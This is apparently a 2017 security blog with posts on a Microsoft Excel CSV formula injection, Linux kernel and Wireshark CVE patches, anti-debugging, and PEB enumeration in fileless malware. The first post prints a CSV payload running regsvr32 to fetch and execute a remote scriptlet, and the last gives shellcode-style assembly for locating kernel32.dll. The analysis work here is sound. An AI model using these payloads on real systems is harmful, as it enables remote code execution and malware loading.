xorl %eax, %eax

Microsoft Excel CSV code execution/injection method

with one comment

Yesterday Davo Cossa mentioned this technique in one of his tweets. The idea behind it is to exploit how formulas and CSV parsing is performed by Microsoft Excel in order to achieve remote code execution by tricking the user into opening a specially crafted CSV file. You can see the example malicious CSV below.

fillerText1,fillerText2,fillerText3,=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''

And here is how it works. When Microsoft Excel tries to parse a CSV file it adds each comma separated field in a separate cell. So, first cell will be “fillerText1”, the second cell “fillerText2”, and so on. However, the last one in this example will try to insert the following to a cell.

=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''

As you probably already know, Microsoft Excel treats the “=” as a special character to indicate the beginning of a formula. So, here is what the above code will actually try to execute on the target system.

regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll

What this does is calling the Microsoft Register Server (regsvr32) in silent mode (/s), unregistering (/u), not calling DLL register server (/n) and passing the required DLL to load via parameter (/i). The passed DLL is “scrobj.dll” which is the Microsoft’s Script Component Runtime and it asks it to fetch and execute the Windows Scriptlet file located at http://RemoteIPAddress/SCTLauncher.sct. Because regsvr32 is part of the Windows operating system it bypasses the AppLocker whitelist and can execute any script from the fetched file on the victim’s system. There is a full analysis of this AppLocker bypass technique here.

Written by xorl

December 11, 2017 at 23:22

Posted in Windows

CVE-2017-17450: Linux kernel nfnl_osf security bypass

leave a comment »

This vulnerability is identical to CVE-2017-17448. It was reported by Kevin Cernekee and it affects the OSF nsfnetlink helper in the same way as CVE-2017-17448 affected the connection tracking helper of NetFilter. Basically, the lack of “CAP_NET_ADMIN” capability checks means that any unprivileged user can execute commands like the following to create or delete namespaces and also obtaining “CAP_NET_ADMIN” capability in the created ones.

    vpnns -- nfnl_osf -f /tmp/pf.os
    vpnns -- nfnl_osf -f /tmp/pf.os -d

Similarly to CVE-2017-17448, the fix was to add the missing checks in the add and remove functions as you can see below.

diff --git a/net/netfilter/xt_osf.c b/net/netfilter/xt_osf.c
index 36e14b1..a34f314 100644
--- a/net/netfilter/xt_osf.c
+++ b/net/netfilter/xt_osf.c
@@ -19,6 +19,7 @@
 #include <linux/module.h>
 #include <linux/kernel.h>
 
+#include <linux/capability.h>
 #include <linux/if.h>
 #include <linux/inetdevice.h>
 #include <linux/ip.h>
@@ -70,6 +71,9 @@ static int xt_osf_add_callback(struct net *net, struct sock *ctnl,
 	struct xt_osf_finger *kf = NULL, *sf;
 	int err = 0;
 
+	if (!capable(CAP_NET_ADMIN))
+		return -EPERM;
+
 	if (!osf_attrs[OSF_ATTR_FINGER])
 		return -EINVAL;
 
@@ -115,6 +119,9 @@ static int xt_osf_remove_callback(struct net *net, struct sock *ctnl,
 	struct xt_osf_finger *sf;
 	int err = -ENOENT;
 
+	if (!capable(CAP_NET_ADMIN))
+		return -EPERM;
+
 	if (!osf_attrs[OSF_ATTR_FINGER])
 		return -EINVAL;

Written by xorl

December 10, 2017 at 13:53

Posted in vulnerabilities

CVE-2017-17448: Linux kernel cthelper security bypass

leave a comment »

This is a vulnerability reported by Kevin Cernekee on 3 December 2017 and it affects nfnl_cthelper of NeFilter. The nfnl_cthelper is a connection tracking helper for the user-space and its code resides in net/netfilter/nfnetlink_cthelper.c. What Kevin Cernekee noticed is that nfnetlink_rcv() (located at net/netfilter/nfnetlink.c) checks if the caller has the “CAP_NET_ADMIN” permission capability but there is a design flaw.

static void nfnetlink_rcv(struct sk_buff *skb)
{
   ...
	if (!netlink_net_capable(skb, CAP_NET_ADMIN)) {
		netlink_ack(skb, nlh, -EPERM, NULL);
		return;
	}
   ...
}

This code checks for the “CAP_NET_ADMIN” capability only in the namespace that owns the “skb” socket. On the other hand, the nfnl_cthelper is a user-space helper that is shared by all network namespaces. Since there are no “CAP_NET_ADMIN” capability checks in nfnl_cthelper it means that an unprivileged user can create namespaces, bypassing the “CAP_NET_ADMIN” capability check. Kevin Cernekee’s patch for this vulnerability was to add the missing capability checks on the “new”, “get”, and “del” functions of this helper. You can see the patch here.

diff --git a/net/netfilter/nfnetlink_cthelper.c b/net/netfilter/nfnetlink_cthelper.c
index 41628b393673..d33ce6d5ebce 100644
--- a/net/netfilter/nfnetlink_cthelper.c
+++ b/net/netfilter/nfnetlink_cthelper.c
@@ -17,6 +17,7 @@ 
 #include <linux/types.h>
 #include <linux/list.h>
 #include <linux/errno.h>
+#include <linux/capability.h>
 #include <net/netlink.h>
 #include <net/sock.h>
 
@@ -407,6 +408,9 @@  static int nfnl_cthelper_new(struct net *net, struct sock *nfnl,
 	struct nfnl_cthelper *nlcth;
 	int ret = 0;
 
+	if (!capable(CAP_NET_ADMIN))
+		return -EPERM;
+
 	if (!tb[NFCTH_NAME] || !tb[NFCTH_TUPLE])
 		return -EINVAL;
 
@@ -611,6 +615,9 @@  static int nfnl_cthelper_get(struct net *net, struct sock *nfnl,
 	struct nfnl_cthelper *nlcth;
 	bool tuple_set = false;
 
+	if (!capable(CAP_NET_ADMIN))
+		return -EPERM;
+
 	if (nlh->nlmsg_flags & NLM_F_DUMP) {
 		struct netlink_dump_control c = {
 			.dump = nfnl_cthelper_dump_table,
@@ -678,6 +685,9 @@  static int nfnl_cthelper_del(struct net *net, struct sock *nfnl,
 	struct nfnl_cthelper *nlcth, *n;
 	int j = 0, ret;
 
+	if (!capable(CAP_NET_ADMIN))
+		return -EPERM;
+
 	if (tb[NFCTH_NAME])
 		helper_name = nla_data(tb[NFCTH_NAME]);

Written by xorl

December 10, 2017 at 13:46

Posted in vulnerabilities

CVE-2017-17085: Wireshark CIP Safety dissector integer overflow

leave a comment »

On 30 November 2017 Wireshark released their WNPA-SEC-2017-49 security advisory. The security advisory describes a vulnerability in the CIP Safety protocol dissector which is identified as DoS. The vulnerability was discovered by “Buildbot Builder” via fuzzing and the trigger PoC PCAP is available online (fuzz-2017-11-28-28119.pcap). The vulnerable code is in epan/dissectors/packet-cipsafety.c and you can see the exact code path below.

/* packet-cipsafety.c
 * Routines for CIP (Common Industrial Protocol) Safety dissection
 * CIP Safety Home: www.odva.org
   ...
 */
   ...
static void
dissect_cip_safety_data( proto_tree *tree, proto_item *item, tvbuff_t *tvb, int item_length, packet_info *pinfo)
{
   int base_length, io_data_size;
   gboolean multicast = (((pntoh32(pinfo->dst.data)) & 0xf0000000) == 0xe0000000);
   ...
   /* compute the base packet length to determine what is actual I/O data */
   base_length = multicast ? 12 : 6;
   ...
      case CIP_SAFETY_EXTENDED_FORMAT:
         if (item_length-base_length <= 2)
         {
   ...
            proto_tree_add_item(tree, hf_cipsafety_crc_s5_0, tvb, item_length-base_length+1, 1, ENC_LITTLE_ENDIAN);
            proto_tree_add_item(tree, hf_cipsafety_crc_s5_1, tvb, item_length-base_length+2, 1, ENC_LITTLE_ENDIAN);
            proto_tree_add_item(tree, hf_cipsafety_timestamp, tvb, item_length-base_length+3, 2, ENC_LITTLE_ENDIAN);
            proto_tree_add_item(tree, hf_cipsafety_crc_s5_2, tvb, item_length-base_length+5, 1, ENC_LITTLE_ENDIAN);
   ...
}

As you can see from the above code snippet, dissect_cip_safety_data() retrieves a signed integer (item_length) as an argument. Later on, it calculates “base_length”. Then, if the packet is CIP Safety in extended format it will do the comparison that you see above. If “item_length” results in a negative value it will enter the ‘if’ clause and try to invoke proto_tree_add_item() with a negative length variable. The latter will try to copy a large amounts (specifically equal to “item_length”) of data leading to a segmentation fault due to memory corruption. Below you can see the patch that Pascal Quantin developed to fix this vulnerability.

     /* compute the base packet length to determine what is actual I/O data */
     base_length = multicast ? 12 : 6;
	 
+    if (item_length <= base_length) {
+       expert_add_info(pinfo, item, &ei_mal_io);
+       return;
+    }
+

The above ensures that “item_length” will never be smaller than “base_length” to enter the dissection code. This should catch cases of “item_length” being negative.

Written by xorl

December 10, 2017 at 13:28

Posted in vulnerabilities

The CheckRemoteDebuggerPresent() anti-debugging technique

leave a comment »

Disclaimer: I am not an experienced Windows guy. I know just the basics and still learning.

A few days ago I published Reverse Engineering isDebuggerPresent() which is the most widely used anti-debugging method in Windows malware. Here I will be going through another very common anti-debugging method in Windows malware, the CheckRemoteDebuggerPresent() from kernel32.dll.

BOOL WINAPI CheckRemoteDebuggerPresent(
  _In_    HANDLE hProcess,
  _Inout_ PBOOL  pbDebuggerPresent
);

Basically, the function will set “pbDebuggerPresent” to TRUE or FALSE depending on the status of the process referenced by “hProcess” pointer. Malware authors typically use this in a way similar to what you see below. The following code retrieves the current process’ handle via GetCurrentProcess() and then uses CheckRemoteDebuggerPresent() to discover if a debugger is attached to this process.

#include "windows.h"

int main(void)
{
    BOOL HasDebugPort = FALSE;

    if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &HasDebugPort))
    {
           ExitProcess(0); // Running in ring-3 debugger
    }
    // Running outside ring-3 debugger
    return 0;
}

If you recall, what isDebuggerPresent() does, is returning the value of “Process->PEB->BeingDebugged”. CheckRemoteDebuggerPresent() is slightly different. Instead of looking for this flag, it checks if the process has a non-zero debug port. In other words, this means that the process has a Ring-3 debugger attached to it. Below you can see how CheckRemoteDebuggerPresent() actually works in KernelBase.dll.



Unlike isDebuggerPresent(), the CheckRemoteDebuggerPresent() uses NtQueryInformationProcess() to obtain the value of “Process->ProcessDebugPort” value. Below you can see some example/pseudo code on how NtQueryInformationProcess() retrieves that information.

NTSTATUS
NTAPI
NtQueryInformationProcess(IN HANDLE ProcessHandle,
                           IN PROCESSINFOCLASS ProcessInformationClass,
                           OUT PVOID ProcessInformation,
                           IN ULONG ProcessInformationLength,
                           OUT PULONG ReturnLength OPTIONAL)
 {
   ...
             Status = ObReferenceObjectByHandle(ProcessHandle,
                                                PROCESS_QUERY_INFORMATION,
                                                PsProcessType,
                                                PreviousMode,
                                                (PVOID*)&Process,
                                                NULL);
   ...
                 *(PHANDLE)ProcessInformation = (Process->DebugPort ?
                                                 (HANDLE)-1 : NULL);
   ...
}

To defeat this anti-debugging technique we can use similar methods like the ones we described for isDebuggerPresent(). Namely, here are a few example methods to do this:

  • Patch the comparison of the return value of CheckRemoteDebuggerPresent() in the malware code
  • Patch the malware to jump over the CheckRemoteDebuggerPresent() check
  • Patch the malware to NOP the CheckRemoteDebuggerPresent() check
  • Set a breakpoint after the NtQueryInformationProcess() call and update its return value for ProcessDebugPort to 0
  • Pre-load/hook a DLL that overrides NtQueryInformationProcess() and always returns 0 for ProcessDebugPort

Written by xorl

December 9, 2017 at 19:40

Posted in Windows

CVE-2017-15868: Linux kernel l2cap BNEP privilege escalation

leave a comment »

The Linux kernel project patched a vulnerability discovered by Al Viro in the BNEP (Bluetooth Network Encapsulation Protocol) implementation of the Linux Bluetooth stack (BlueZ). The code for this is located at net/bluetooth/bnep/core.c and specifically in bnep_add_connection() that you see below.

int bnep_add_connection(struct bnep_connadd_req *req, struct socket *sock)
{
	struct net_device *dev;
	struct bnep_session *s, *ss;
	u8 dst[ETH_ALEN], src[ETH_ALEN];
	int err;

	BT_DBG("");

	baswap((void *) dst, &l2cap_pi(sock->sk)->chan->dst);
	baswap((void *) src, &l2cap_pi(sock->sk)->chan->src);
   ...
}

The above is not immediately noticeable but “sock” is user derived and it is never verified until it’s used by baswap() to set the source and destination channels. You can see how l2cap_pi() macro is defined in include/net/bluetooth/l2cap.h header file here.

/* ----- L2CAP socket info ----- */
#define l2cap_pi(sk) ((struct l2cap_pinfo *) sk)

And below is baswap() function which is available in net/bluetooth/lib.c source code file.

void baswap(bdaddr_t *dst, bdaddr_t *src)
{
	unsigned char *d = (unsigned char *) dst;
	unsigned char *s = (unsigned char *) src;
	unsigned int i;

	for (i = 0; i < 6; i++)
		d[i] = s[5 - i];
}

The above means that a malicious user can set an invalid “socK” pointer which can point to malicious callback functions that can be exploited to result in privilege escalation. The patch was to ensure that before “sock” is used it is checked by l2cap_is_socket() function as you can see in the following patch. If the check fails it will return “EBADFD” (File descriptor in bad state).

diff --git a/net/bluetooth/bnep/core.c b/net/bluetooth/bnep/core.c
index 85bcc21..ce82722d 100644
--- a/net/bluetooth/bnep/core.c
+++ b/net/bluetooth/bnep/core.c
@@ -533,6 +533,9 @@ int bnep_add_connection(struct bnep_connadd_req *req, struct socket *sock)
 
 	BT_DBG("");
 
+	if (!l2cap_is_socket(sock))
+		return -EBADFD;
+
 	baswap((void *) dst, &l2cap_pi(sock->sk)->chan->dst);
 	baswap((void *) src, &l2cap_pi(sock->sk)->chan->src);

To better understand this check you can see l2cap_is_socket() routine as defined in net/bluetooth/l2cap_sock.c below. What it does is ensuring that “sock” is not NULL and that “sock->ops” callback functions point to the “l2cap_sock_ops” structure.

bool l2cap_is_socket(struct socket *sock)
{
	return sock && sock->ops == &l2cap_sock_ops;
}
EXPORT_SYMBOL(l2cap_is_socket);

The vulnerable code is reachable via BNEPCONNADD IOCTL command. You can see the exact code path that leads to bnep_add_connection() below. As you can see there is no check on the socket that is passed from the user-space to the kernel via copy_from_user() function.

static int bnep_sock_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
{
   ...
	switch (cmd) {
	case BNEPCONNADD:
   ...
		if (copy_from_user(&ca, argp, sizeof(ca)))
			return -EFAULT;

		nsock = sockfd_lookup(ca.sock, &err);
   ...
		ca.device[sizeof(ca.device)-1] = 0;

		err = bnep_add_connection(&ca, nsock);
   ...
}

Written by xorl

December 7, 2017 at 22:40

Posted in vulnerabilities

Fileless malware and PEB enumeration

leave a comment »

I was reverse engineering a fileless (meaning the malicious payload is only in the system’s memory) malware sample and I came across this technique which apparently is quite popular in fileless malware. So, this is what this post will be about. How fileless malware take advantage of PEB (Process Environment Block) enumeration to work. You can see the PEB structure as defined in Winternl.h header file below.

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;

When a malware injects a payload into memory it needs to somehow find which API calls to use. This means it has to find where those are located in memory. A common method to do this is using PEB which is always located at the same offset. Specifically, at offset 0x30 from the “fs” register. The assembly instructions you see below will load the PEB pointer to the “edx” register.

xor edx, edx          ; Make sure edx is empty
mov edx, fs:[edx+30h] ; Get the address of PEB

Now that the malware has a starting point, it can get advantage of the “Ldr” pointer which is PEB. “Ldr” is technically a pointer to a “PEB_LDR_DATA” structure which contains a linked list (InMemoryOrderModuleList) of the loaded modules. Here you can see how this is defined in Winternl.h header file.

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

And below you can see the equivalent assembly instructions that will help us find the “Ldr” pointer. We are just using the PEB pointer that we discovered above and add 0x0C to it which will lead us to the location of the “Ldr” pointer, and we store its value in the “edx” register.

xor edx, edx          ; Make sure edx is empty
mov edx, fs:[edx+30h] ; Get the address of PEB
mov edx, [edx+0Ch]    ; Get the address of PEB->Ldr

Within the “Ldr” as you saw from the type definition above, there is a doubly-linked list named “InMemoryOrderModuleList”. This doubly-linked list contains the modules that are loaded in this process. Once again, the “LIST_ENTRY” data type is defined in the Winternl.h header file and you can see it here.

 typedef struct _LIST_ENTRY
{
   struct _LIST_ENTRY  *Flink;
   struct _LIST_ENTRY  *Blink;
}LIST_ENTRY, *PLIST_ENTRY;

The code can now just iterate through the “InMemoryOrderModuleList” linked list to enumerate the loaded modules that are available. You can see the equivalent assembly code below which is similar to the above. However, now “edx” register points to the first module (specifically a pointer to a “LDR_DATA_TABLE_ENTRY” structure) that is available. By increasing the offset we can iterate through all of them.

xor edx, edx          ; Make sure edx is empty
mov edx, fs:[edx+30h] ; Get the address of PEB
mov edx, [edx+0Ch]    ; Get the address of PEB->Ldr
mov edx, [edx+14h]    ; Get the PEB->Ldr->InMemoryOrderModuleList

From this point on, the malware can identify the modules it needs to use and reference them directly. This method is very popular in fileless malware as it can be used to dynamically discover loaded modules when a payload is injected in memory and executed via another process. For example, a common method is to use the third entry of the list (which includes the base address of kernel32.dll) and enumerate the export table of kernel32.dll to find LoadLibrary() and start loading arbitrary DLLs required for its operation. Here is a sample code that gets the base address of kernel32.dll which can be used to discover LoadLibrary() to be able to load modules dynamically.

xor edx, edx          ; Make sure edx is empty
mov edx, fs:[edx+30h] ; Get the address of PEB
mov edx, [edx+0Ch]    ; Get the address of PEB->Ldr
mov edx, [edx+14h]    ; Get the PEB->Ldr->InMemoryOrderModuleList
mov edx, [edx]        ; Second entry in PEB->Ldr->InMemoryOrderModuleList
mov edx, [edx]        ; Third entry (kernel32.dll) in PEB->Ldr->InMemoryOrderModuleList
mov edx, [edx+10h]    ; The base address of the third entry (kernel32.dll)

Written by xorl

December 6, 2017 at 01:08

Posted in Windows